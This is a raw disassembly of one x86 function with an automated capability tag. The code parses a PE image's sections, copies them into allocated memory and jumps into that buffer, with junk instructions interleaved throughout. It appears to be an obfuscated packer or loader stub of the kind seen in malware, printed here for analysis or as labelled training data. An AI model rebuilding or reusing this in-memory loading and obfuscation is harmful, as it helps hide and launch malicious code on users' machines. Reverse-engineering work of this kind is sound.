Function at 0x40196c
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff9c
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], eax
mov ax, word [0x431578]
cmp ax, word [0x431574]
jne 0x40226d
cmp ebp, dword [0x404011]
jle 0x4019bc
mov dword [0x404003], ecx
mov byte [esp - 0x18], bl
mov byte [esp - 0x20], ah
lea eax, [0x407d7b]
mov dword [0x404007], ecx
mov ebx, 0x3e4
mov bl, byte [esp - 0x20]
mov ecx, dword [0x404003]
cmp dh, byte [ebp + 0x34]
jp 0x4019c1
cmp dword [ebp - 0x10], edx
je 0x4019ef
mov edi, dword [0x40401a]
mov eax, 0x6c2
mov dword [0x40400e], ebx
mov ecx, dword [0x404017]
lea ebx, [esp + 0x24]
lea edx, [0x404023]
mov eax, dword [esp + 0x18]
mov byte [esp - 0x10], ch
mov eax, 0x4e6
mov dword [esp - 0x10], edx
mov dword [esp - 0x24], eax
xchg byte [0x404006], bl
mov bh, byte [0x40401b]
inc edi
mov eax, 0x4013c4
sub eax, 0x4011f8
mov dword [ebp - 0x28], eax
mov eax, dword [0x404016]
cmp bh, byte [esp - 8]
jb 0x401a54
mov bx, 0x1b7
xchg dword [esp - 0x1c], ebx
lea ecx, [edx + 0x18]
mov edx, 0x3a2
mov al, byte [0x404011]
lea edx, [eax + 8]
mov dl, byte [0x404004]
mov edi, dword [esp - 0x28]
lea eax, [esp - 4]
mov byte [esp - 0x18], cl
mov byte [section.DATA], dh
lea ebx, [edx + 0x18]
mov eax, 0x3f4
mov byte [section.DATA], ch
mov byte [esp - 8], ah
mov dword [0x404025], ebx
lea ebx, [esp + 0x18]
mov eax, dword [esp - 4]
lea edx, section.DATA
mov ecx, 0x2c2
mov dword [0x40400d], eax
inc eax
inc eax
dec ecx
cmp cl, byte [esp + 0x18]
jg 0x401abc
lea edx, [ebx + 0x10]
mov dh, byte [esp - 0x1c]
xchg dword [esp - 0x24], edx
lea edx, [0x404024]
lea eax, [eax + 4]
xchg dword [esp - 0x1c], ecx
lea ebx, [0x4079c2]
dec eax
cmp byte [esp - 0x18], bl
jg 0x401ae9
xchg dword [0x404014], eax
mov eax, 0x725
mov dword [esp - 8], ecx
xchg byte [esp - 0x18], ch
lea edi, [ebx + 0x18]
lea ebx, [edx + 0xc]
mov bh, byte [0x404014]
inc edx
inc ebx
mov ebx, 0x3c7
mov cl, byte [0x404004]
dec ecx
inc eax
push pe_nt_image_headers32
push 0x3000
mov eax, dword [ebp - 0x28]
push eax
push 0
call sub.KERNEL32.DLL_GlobalAlloc
mov dword [ebp - 0x30], eax
cmp dword [esp + 8], ecx
jns 0x401b24
mov byte [0x404019], bl
mov dword [0x40401d], ebx
mov eax, 0x60a
dec edx
dec edx
cmp dword [esp + 4], ecx
jne 0x401b41
mov bh, byte [0x404002]
mov cl, byte [0x40401e]
lea edi, [0x407a2e]
mov ebx, 0x77
cmp byte [0x40400b], dl
jae 0x401b77
mov edx, 0x412
mov dword [esp - 0x1c], edx
lea edx, [0x40401f]
lea ecx, [ebx]
lea edx, [0x407d0d]
mov byte [esp - 0x20], ah
lea eax, [0x404008]
xchg dword [esp - 0x10], edx
xchg dword [esp - 0x20], edx
inc ecx
mov cx, 0x30e
inc edx
mov edx, 0x4011f8
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
call fcn.004011e8
cmp ebx, dword [0x404026]
jl 0x401b94
lea ecx, [0x407060]
cmp ch, byte [0x404012]
jnp 0x401bb2
lea edx, [0x404001]
mov edx, dword [esp + 0x14]
mov dl, byte [esp + 0xc]
inc ecx
inc eax
cmp edx, dword [0x40401c]
jg 0x401bd3
xchg byte [0x404002], bl
xchg byte [0x404012], ch
mov ecx, dword [esp - 0xc]
mov byte [0x40400b], bh
dec eax
inc edx
dec ebx
cmp dword [ebp - 8], edi
jnp 0x401c06
mov dh, byte [0x40401e]
xchg byte [esp - 0x20], ah
xchg byte [esp - 0x1c], dl
mov edx, dword [esp - 0x14]
xchg byte [esp - 8], ah
mov dh, byte [0x404007]
lea ebx, [0x4070a9]
lea eax, [0x404025]
mov byte [0x40401b], ah
xchg dword [esp - 0x28], eax
push 4
push 0x3000
push 0x64
push 0
call sub.KERNEL32.DLL_GlobalAlloc
mov dword [ebp - 4], eax
cmp dword [ebp - 0x28], esi
jg 0x401c2d
mov dh, byte [0x404014]
mov eax, 0x487
cmp byte [0x404002], cl
jae 0x401c55
xchg byte [0x404014], al
mov di, 0x118
mov dword [0x404011], eax
mov bx, 0x799
lea edi, [ebx + 0xc]
lea edx, [0x40401c]
xchg dword [0x40400e], ecx
mov bx, 0x686
mov dword [esp - 0x18], ecx
mov bh, byte [0x404025]
mov byte [esp - 0x18], al
lea edx, [0x4076c4]
mov bh, byte [esp + 0x10]
mov dword [esp - 4], ebx
lea ebx, [edx + 0x14]
mov edi, dword [esp - 0x24]
inc edx
inc eax
inc edx
push 0x402274
call fcn.00401180
mov dword [ebp - 0x34], eax
push 0x402284
mov eax, dword [ebp - 0x34]
push eax
call fcn.00401188
mov edx, dword [ebp - 4]
mov dword [edx + 0x38], eax
lea eax, [edi + 0x18]
cmp al, byte [0x404017]
jns 0x401cde
lea edx, [0x40401d]
mov eax, dword [0x40400d]
mov edi, dword [esp + 0x24]
lea edi, [eax + 4]
mov ebx, dword [0x40400a]
mov byte [0x40401a], bl
mov byte [esp - 0x28], dh
dec ecx
xchg byte [0x40401e], dl
mov eax, dword [0x404012]
cmp esp, dword [ebp + 0x30]
js 0x401cf0
dec eax
mov bh, byte [esp + 4]
mov bl, byte [esp + 0x14]
mov dword [0x40400b], eax
mov ah, byte [esp + 0x18]
xchg dword [esp - 0x20], ecx
mov edx, dword [0x404018]
mov eax, 0x7ee
xchg dword [esp - 8], eax
mov ebx, dword [0x404016]
lea eax, [esp + 0x14]
mov dword [0x404024], ebx
dec ecx
lea edx, [ebp - 4]
mov eax, dword [ebp - 0x34]
call fcn.00401804
mov eax, dword [0x404016]
cmp bh, byte [esp - 8]
jb 0x401d6e
mov bx, 0x1b7
xchg dword [esp - 0x1c], ebx
lea ecx, [edx + 0x18]
mov edx, 0x3a2
mov al, byte [0x404011]
lea edx, [eax + 8]
mov dl, byte [0x404004]
mov edi, dword [esp - 0x28]
lea eax, [esp - 4]
mov byte [esp - 0x18], cl
mov byte [section.DATA], dh
lea ebx, [edx + 0x18]
mov eax, 0x3f4
mov byte [section.DATA], ch
mov byte [esp - 8], ah
mov dword [0x404025], ebx
lea ebx, [esp + 0x18]
mov eax, dword [esp - 4]
lea edx, section.DATA
mov ecx, 0x2c2
mov dword [0x40400d], eax
inc eax
inc eax
dec ecx
mov eax, dword [ebp - 4]
mov edx, dword [eax + 8]
add edx, 0x330
mov eax, dword [ebp - 4]
add eax, 0xc
mov ecx, 0x10
call fcn.004011e8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 0x14]
mov edx, dword [ebp - 0x14]
add edx, 0x18
add eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.00401670
mov edx, dword [ebp - 4]
mov dword [edx + 0x24], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 0x24], 0
je 0x40226d
push 4
push 0x3000
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x24]
push eax
push 0
call sub.KERNEL32.DLL_GlobalAlloc
mov edx, dword [ebp - 4]
mov dword [edx + 0x20], eax
lea eax, [edi + 0x18]
cmp al, byte [0x404017]
jns 0x401e5a
lea edx, [0x40401d]
mov eax, dword [0x40400d]
mov edi, dword [esp + 0x24]
lea edi, [eax + 4]
mov ebx, dword [0x40400a]
mov byte [0x40401a], bl
mov byte [esp - 0x28], dh
dec ecx
xchg byte [0x40401e], dl
mov eax, dword [0x404012]
cmp esp, dword [ebp + 0x30]
js 0x401e6c
dec eax
mov bh, byte [esp + 4]
mov bl, byte [esp + 0x14]
mov dword [0x40400b], eax
mov ah, byte [esp + 0x18]
xchg dword [esp - 0x20], ecx
mov edx, dword [0x404018]
mov eax, 0x7ee
xchg dword [esp - 8], eax
mov ebx, dword [0x404016]
lea eax, [esp + 0x14]
mov dword [0x404024], ebx
dec ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 0x20], 0
je 0x40226d
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x54]
call fcn.00401628
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 6]
dec eax
test eax, eax
jl 0x401f1d
inc eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x20]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x18]
cmp dword [edx + eax*8 + 0x14], 0
je 0x401f15
mov eax, dword [ebp - 0x20]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + eax*8 + 0x14]
cmp eax, dword [ebp - 0x38]
jae 0x401f15
mov eax, dword [ebp - 0x20]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + eax*8 + 0x14]
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x20]
dec dword [ebp - 0x3c]
jne 0x401ee3
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x20]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0xc]
call fcn.004011e8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x20]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 6]
dec eax
test eax, eax
jl 0x402040
inc eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x20]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x1c]
cmp dword [edx + eax*8 + 0xc], 0
je 0x401f81
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x20]
mov edx, dword [ebp - 0x20]
lea edx, [edx + edx*4]
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x1c]
cmp dword [edx + eax*8 + 0x10], 0
je 0x402016
mov eax, dword [ebp - 0x20]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [edx + eax*8 + 0x10]
mov eax, dword [ebp - 0x20]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx + eax*8 + 0x14]
add edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x2c]
call fcn.004011e8
mov eax, dword [ebp - 0x20]
lea eax, [eax + eax*4]
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + eax*8 + 8]
mov edx, dword [ebp - 0x20]
lea edx, [edx + edx*4]
mov ecx, dword [ebp - 0x1c]
cmp eax, dword [ecx + edx*8 + 0x10]
jae 0x401ff6
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x38]
mov eax, dword [ebp - 0x20]
lea eax, [eax + eax*4]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx + eax*8 + 0x10]
call fcn.00401628
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
jmp 0x402034
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x38]
mov eax, dword [ebp - 0x20]
lea eax, [eax + eax*4]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx + eax*8 + 8]
call fcn.00401628
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
jmp 0x402034
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x38]
mov eax, dword [ebp - 0x20]
lea eax, [eax + eax*4]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx + eax*8 + 8]
call fcn.00401628
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x20]
dec dword [ebp - 0x3c]
jne 0x401f5b
cmp ch, byte [0x404010]
jge 0x402063
lea edx, [0x407d7f]
mov dword [0x404025], ecx
xchg byte [esp - 8], al
xchg byte [0x404001], bh
mov byte [esp - 0xc], dl
inc edx
cmp byte [ebp + 0x38], ch
jg 0x402076
mov byte [esp - 4], cl
xchg byte [0x404015], ah
lea edx, [esp + 0x18]
cmp dword [0x404023], esp
jle 0x40208f
mov cl, byte [esp + 0x20]
lea edi, [edx]
mov bh, byte [0x40401d]
dec ebx
xchg byte [esp - 0x28], ch
xchg byte [esp - 0x20], ah
mov ecx, 0x4a8
lea edx, [ebx + 0x10]
xchg byte [esp - 8], cl
xchg byte [0x404001], bl
mov di, 0x668
mov byte [esp - 4], cl
mov eax, 0x7ba
lea edx, [esp + 0x14]
mov eax, dword [ebp - 4]
mov edx, dword [0x43158c]
mov dword [eax + 0x2c], edx
mov eax, 0x400000
mov eax, dword [eax + 0x3c]
add eax, 0x400000
mov eax, dword [eax + 0x50]
mov edx, dword [ebp - 4]
mov dword [edx + 0x28], eax
push 0x402294
mov eax, dword [ebp - 4]
call dword [eax + 0x34]
cmp dword [ebp - 0x28], esi
jg 0x4020fa
mov dh, byte [0x404014]
mov eax, 0x487
cmp byte [0x404002], cl
jae 0x402122
xchg byte [0x404014], al
mov di, 0x118
mov dword [0x404011], eax
mov bx, 0x799
lea edi, [ebx + 0xc]
lea edx, [0x40401c]
xchg dword [0x40400e], ecx
mov bx, 0x686
mov dword [esp - 0x18], ecx
mov bh, byte [0x404025]
mov byte [esp - 0x18], al
lea edx, [0x4076c4]
mov bh, byte [esp + 0x10]
mov dword [esp - 4], ebx
lea ebx, [edx + 0x14]
mov edi, dword [esp - 0x24]
inc edx
inc eax
inc edx
mov eax, 0x4011fc
sub eax, 0x4011f8
add eax, 4
add eax, dword [ebp - 0x30]
mov dword [ebp - 8], eax
lea eax, [0x401200]
push dword [ebp - 4]
call dword [ebp - 8]
mov eax, dword [0x404016]
cmp bh, byte [esp - 8]
jb 0x4021b2
mov bx, 0x1b7
xchg dword [esp - 0x1c], ebx
lea ecx, [edx + 0x18]
mov edx, 0x3a2
mov al, byte [0x404011]
lea edx, [eax + 8]
mov dl, byte [0x404004]
mov edi, dword [esp - 0x28]
lea eax, [esp - 4]
mov byte [esp - 0x18], cl
mov byte [section.DATA], dh
lea ebx, [edx + 0x18]
mov eax, 0x3f4
mov byte [section.DATA], ch
mov byte [esp - 8], ah
mov dword [0x404025], ebx
lea ebx, [esp + 0x18]
mov eax, dword [esp - 4]
lea edx, section.DATA
mov ecx, 0x2c2
mov dword [0x40400d], eax
inc eax
inc eax
dec ecx
cmp ebx, dword [0x404026]
jl 0x4021f7
lea ecx, [0x407060]
cmp ch, byte [0x404012]
jnp 0x402215
lea edx, [0x404001]
mov edx, dword [esp + 0x14]
mov dl, byte [esp + 0xc]
inc ecx
inc eax
cmp edx, dword [0x40401c]
jg 0x402236
xchg byte [0x404002], bl
xchg byte [0x404012], ch
mov ecx, dword [esp - 0xc]
mov byte [0x40400b], bh
dec eax
inc edx
dec ebx
cmp dword [ebp - 8], edi
jnp 0x402269
mov dh, byte [0x40401e]
xchg byte [esp - 0x20], ah
xchg byte [esp - 0x1c], dl
mov edx, dword [esp - 0x14]
xchg byte [esp - 8], ah
mov dh, byte [0x404007]
lea ebx, [0x4070a9]
lea eax, [0x404025]
mov byte [0x40401b], ah
xchg dword [esp - 0x28], eax
mov esp, ebp
pop ebp
ret